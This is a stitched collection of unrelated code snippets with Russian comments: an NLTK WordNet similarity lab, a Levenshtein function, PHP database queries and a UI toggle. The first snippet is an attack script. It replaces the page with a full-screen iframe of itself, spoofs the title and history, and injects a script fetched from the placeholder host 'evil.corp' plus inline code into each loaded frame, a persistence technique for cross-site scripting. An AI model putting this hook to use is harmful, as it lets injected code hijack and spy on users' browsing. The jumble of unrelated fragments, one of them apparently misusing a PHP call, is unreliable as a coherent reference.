var ifrm = document.createElement("iframe"); // Создаём фрейм
ifrm.setAttribute("src", window.location.href);
ifrm.style.width = "100vw"; //Растягиваем на весь экран
ifrm.style.height = "100vh";
ifrm.setAttribute('frameborder', 0); // Убираем "бордюр"
document.body.innerHTML = "";
document.body.appendChild(ifrm);
ifrm.onload = function() { // Следим за перезагрузкой страницы
// Меняем заголовок и историю (если нужно)
var ttl = ifrm.contentDocument.querySelector('head title').innerText;
document.title = ttl;
var pth = ifrm.contentWindow.location.href;
window.history.replaceState({}, ttl, pth);
// Первый вариант (Подгружать скрипт по ссылке)
var script1 = document.createElement("script");
script1.src = "https://evil.corp/code.js";
script1.type = "text/javascript";
ifrm.contentWindow.document.getElementsByTagName("body")[0].appendChild(script1);
// Второй вариант (Вставка тега с кодом)
var script2 = document.createElement('script');
var inlineCode = document.createTextNode("alert('вместо алерта код')");
script2.appendChild(inlineCode);
ifrm.contentWindow.document.getElementsByTagName("body")[0].appendChild(script2);
};
include_once '../../includes/incFile.php';
$db = new Database();
$tag_id = $_POST['tag_id'];
$stmt = $db->prepare("SELECT `tag_names`.`name` FROM `tags` INNER JOIN `tag_names` ON `tags`.`id` = `tag_names`.`tag_id` WHERE `tags`.`id` = ?");
$stmt->execute([$tag_id]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
if (count($rows)<1) {
exit('Тег не найден');
}
$tag_names = array();
foreach ($rows as $row) {
array_push($tag_names, $row['name']);
}
<div class="container-activatedOptions">
<form class="form-activatedOptions">
<button id="optionsToggle">Открыть настройки</button>
</form>
<div id="options">
Тут опции...
</div>
</div>
disabledOptions(); // Изначальное состояние
function activatedOptions(){
options.style.display = 'block';
optionsToggle.innerHTML = 'Закрыть настройки';
optionsToggle.onclick = disabledOptions;
return false;
}
function disabledOptions(){
options.style.display = 'none';
optionsToggle.innerHTML = 'Открыть настройки';
optionsToggle.onclick = activatedOptions;
return false;
}
import nltk
nltk.download()
name = input('Please, put your surname, name, group and number of Lab:')
a = name
print(a)
from nltk.corpus import wordnet as wn
for synset in wn.synsets('journal', wn.NOUN):
print(synset.name() + ':', synset.definition())
for synset in wn.synsets('blog', wn.NOUN):
print(synset.name() + ':', synset.definition())
print(wn.synset('diary.n.01').hypernyms())
print(wn.synset('journal.n.02').hypernyms())
print(wn.synset('daybook.n.01').hypernyms())
print(wn.synset('journal.n.04').hypernyms())
print(wn.synset('journal.n.05').hypernyms())
print(wn.synset('web_log.n.01').hypernyms())
print(wn.synset('diary.n.01').hyponyms())
print(wn.synset('journal.n.02').hyponyms())
print(wn.synset('daybook.n.01').hyponyms())
print(wn.synset('journal.n.04').hyponyms())
print(wn.synset('journal.n.05').hyponyms())
print(wn.synset('web_log.n.01').hyponyms())
diary = wn.synset('diary.n.01')
journal = wn.synset('journal.n.02')
daybook = wn.synset('daybook.n.01')
web_log = wn.synset('web_log.n.01')
print('diary:', diary.min_depth())
print('journal:', journal.min_depth())
print('daybook:', daybook.min_depth())
print('web_log:', web_log.min_depth())
print(journal.lowest_common_hypernyms(diary))
print(journal.lowest_common_hypernyms(daybook))
print(journal.lowest_common_hypernyms(web_log))
print(journal.path_similarity(journal))
print(journal.path_similarity(diary))
print(journal.path_similarity(daybook))
print(journal.path_similarity(web_log))
#Wu-Palmer Similarity
print(journal.wup_similarity(daybook))
print(journal.wup_similarity(web_log))
print(journal.lch_similarity(daybook))
print(journal.lch_similarity(web_log))
def levenshtein(s1, s2):
d = {}
s1_length = len(s1)
s2_length = len(s2)
for i in range(-1, s1_length + 1):
d[(i,-1)] = i + 1
for j in range(-1, s2_length + 1):
d[(-1, j)] = j + 1
for i in range(s1_length):
for j in range(s2_length):
if s1[i] == s2[j]:
cost = 0
else:
cost = 1
d[(i, j)] = min(
d[(i - 1, j)] + 1,
d[(i, j - 1)] + 1,
d[(i - 1, j - 1)] + cost,
)
if i and j and s1[i]==s2[j-1] and s1[i-1] == s2[j]:
d[(i,j)] = min (d[(i,j)], d[i-2,j-2] + 1)
return d[s1_length - 1, s2_length - 1]
word1 = 'blog'
word2 = 'journal'
d1 = levenshtein(word1, word2)
print(f"Result for '{word1}' & '{word2}' :", d1)
const box = {
name: 'space',
type: 'hold',
color: 'red',
container: {
minibox: 'plate',
minibox2: 'dish',
container2: {
thing: 'jacket',
thing2: 'socks'
}
}
};
function walkinobj(box) {
for (let key in box) {
if (typeof(box[key]) === 'object') {
walkinobj(box[key]);
} else {
console.log(`Свойство ${key} имеет значение ${box[key]}`);
}
}
}
walkinobj(box);
<?php
$res = mysqli_query($connection, "SELECT videos.* FROM video_category join category ON category.id = video_category.category_id JOIN videos ON videos.id = video_category.video_id");
$video = array();
while($row = mysqli_fetch_array($res)){
$videos[] = $row;
}
?>
<?php
$res = mysql_query($connection, "SELECT videos.* FROM video_category join category ON category.id = video_category.category_id JOIN videos ON videos.id = video_category.video_id");
$video = array();
while($row = mysql_fetch_array($res)){
$videos[] = $row;
}
?>